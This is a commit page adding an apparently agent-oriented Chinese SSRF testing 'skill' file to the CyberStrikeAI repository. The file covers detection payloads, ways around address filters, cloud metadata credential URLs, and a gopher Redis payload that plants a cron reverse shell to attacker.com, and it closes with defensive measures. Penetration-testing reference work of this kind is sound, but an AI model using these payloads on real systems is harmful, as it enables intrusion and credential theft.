mirror of
https://github.com/Ed1s0nZ/CyberStrikeAI.git
synced 2026-08-14 15:10:20 +02:00
Add files via upload
This commit is contained in:
@@ -0,0 +1,266 @@
|
||||
---
|
||||
name: ssrf-testing
|
||||
description: SSRF服务器端请求伪造测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# SSRF服务器端请求伪造测试
|
||||
|
||||
## 概述
|
||||
|
||||
SSRF(Server-Side Request Forgery)是一种利用服务器发起请求的漏洞,可以访问内网资源、进行端口扫描或绕过防火墙。本技能提供SSRF漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序接受URL参数并请求该URL,攻击者可以控制请求的目标,导致:
|
||||
- 内网资源访问
|
||||
- 本地文件读取
|
||||
- 端口扫描
|
||||
- 绕过防火墙
|
||||
- 云服务元数据访问
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别SSRF输入点
|
||||
|
||||
**常见功能:**
|
||||
- URL预览/截图
|
||||
- 文件上传(远程URL)
|
||||
- Webhook回调
|
||||
- API代理
|
||||
- 数据导入
|
||||
- 图片处理
|
||||
- PDF生成
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试本地回环:**
|
||||
```
|
||||
http://127.0.0.1
|
||||
http://localhost
|
||||
http://0.0.0.0
|
||||
http://[::1]
|
||||
```
|
||||
|
||||
**测试内网IP:**
|
||||
```
|
||||
http://192.168.1.1
|
||||
http://10.0.0.1
|
||||
http://172.16.0.1
|
||||
```
|
||||
|
||||
**测试文件协议:**
|
||||
```
|
||||
file:///etc/passwd
|
||||
file:///C:/Windows/System32/drivers/etc/hosts
|
||||
```
|
||||
|
||||
### 3. 绕过技术
|
||||
|
||||
**IP地址编码:**
|
||||
```
|
||||
127.0.0.1 → 2130706433 (十进制)
|
||||
127.0.0.1 → 0x7f000001 (十六进制)
|
||||
127.0.0.1 → 0177.0.0.1 (八进制)
|
||||
```
|
||||
|
||||
**域名解析绕过:**
|
||||
```
|
||||
127.0.0.1.xip.io
|
||||
127.0.0.1.nip.io
|
||||
localtest.me
|
||||
```
|
||||
|
||||
**URL重定向:**
|
||||
```
|
||||
http://attacker.com/redirect → http://127.0.0.1
|
||||
```
|
||||
|
||||
**协议混淆:**
|
||||
```
|
||||
http://127.0.0.1:80@evil.com
|
||||
http://evil.com#@127.0.0.1
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 内网探测
|
||||
|
||||
**端口扫描:**
|
||||
```bash
|
||||
# 使用Burp Intruder
|
||||
http://127.0.0.1:22
|
||||
http://127.0.0.1:3306
|
||||
http://127.0.0.1:6379
|
||||
http://127.0.0.1:8080
|
||||
http://127.0.0.1:9200
|
||||
```
|
||||
|
||||
**识别服务:**
|
||||
- 响应时间差异
|
||||
- 错误信息
|
||||
- HTTP状态码
|
||||
- 响应内容
|
||||
|
||||
### 云服务元数据
|
||||
|
||||
**AWS EC2:**
|
||||
```
|
||||
http://169.254.169.254/latest/meta-data/
|
||||
http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
```
|
||||
|
||||
**Google Cloud:**
|
||||
```
|
||||
http://metadata.google.internal/computeMetadata/v1/
|
||||
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/
|
||||
```
|
||||
|
||||
**Azure:**
|
||||
```
|
||||
http://169.254.169.254/metadata/instance?api-version=2021-02-01
|
||||
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01
|
||||
```
|
||||
|
||||
**阿里云:**
|
||||
```
|
||||
http://100.100.100.200/latest/meta-data/
|
||||
http://100.100.100.200/latest/meta-data/ram/security-credentials/
|
||||
```
|
||||
|
||||
### 内网应用攻击
|
||||
|
||||
**访问管理后台:**
|
||||
```
|
||||
http://127.0.0.1:8080/admin
|
||||
http://192.168.1.100/phpmyadmin
|
||||
```
|
||||
|
||||
**Redis未授权访问:**
|
||||
```
|
||||
http://127.0.0.1:6379
|
||||
# 然后发送Redis命令
|
||||
```
|
||||
|
||||
**FastCGI攻击:**
|
||||
```
|
||||
http://127.0.0.1:9000
|
||||
# 利用FastCGI协议执行命令
|
||||
```
|
||||
|
||||
## 高级利用
|
||||
|
||||
### Gopher协议
|
||||
|
||||
**发送任意协议数据:**
|
||||
```
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$4%0d%0aquit%0d%0a
|
||||
```
|
||||
|
||||
**Redis命令执行:**
|
||||
```
|
||||
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
|
||||
### Dict协议
|
||||
|
||||
**端口扫描和信息收集:**
|
||||
```
|
||||
dict://127.0.0.1:6379/info
|
||||
dict://127.0.0.1:3306/status
|
||||
```
|
||||
|
||||
### 文件协议
|
||||
|
||||
**读取本地文件:**
|
||||
```
|
||||
file:///etc/passwd
|
||||
file:///C:/Windows/System32/drivers/etc/hosts
|
||||
file:///proc/self/environ
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### SSRFmap
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
python3 ssrfmap.py -r request.txt -p url
|
||||
|
||||
# 端口扫描
|
||||
python3 ssrfmap.py -r request.txt -p url -m portscan
|
||||
|
||||
# 云元数据
|
||||
python3 ssrfmap.py -r request.txt -p url -m cloud
|
||||
```
|
||||
|
||||
### Gopherus
|
||||
|
||||
```bash
|
||||
# 生成Gopher payload
|
||||
python gopherus.py --exploit redis
|
||||
```
|
||||
|
||||
### Burp Collaborator
|
||||
|
||||
**检测盲SSRF:**
|
||||
```
|
||||
http://burpcollaborator.net
|
||||
# 观察是否有DNS/HTTP请求
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以控制请求目标
|
||||
2. 验证内网资源访问或端口扫描
|
||||
3. 评估影响范围(内网渗透、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- 可访问的内网资源或端口
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(URL白名单、禁用危险协议等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **URL白名单**
|
||||
```python
|
||||
ALLOWED_DOMAINS = ['example.com', 'cdn.example.com']
|
||||
parsed = urlparse(url)
|
||||
if parsed.netloc not in ALLOWED_DOMAINS:
|
||||
raise ValueError("Domain not allowed")
|
||||
```
|
||||
|
||||
2. **禁用危险协议**
|
||||
- 只允许http/https
|
||||
- 禁止file://、gopher://、dict://等
|
||||
|
||||
3. **IP地址过滤**
|
||||
```python
|
||||
import ipaddress
|
||||
|
||||
def is_internal_ip(ip):
|
||||
return ipaddress.ip_address(ip).is_private or \
|
||||
ipaddress.ip_address(ip).is_loopback
|
||||
```
|
||||
|
||||
4. **使用DNS解析验证**
|
||||
- 解析域名获取IP
|
||||
- 验证IP是否在内网范围
|
||||
|
||||
5. **网络隔离**
|
||||
- 限制服务器出网权限
|
||||
- 使用代理服务器
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对内网系统造成影响
|
||||
- 注意不同协议的支持情况
|
||||
- 测试时注意请求频率,避免触发防护
|
||||
Reference in New Issue
Block a user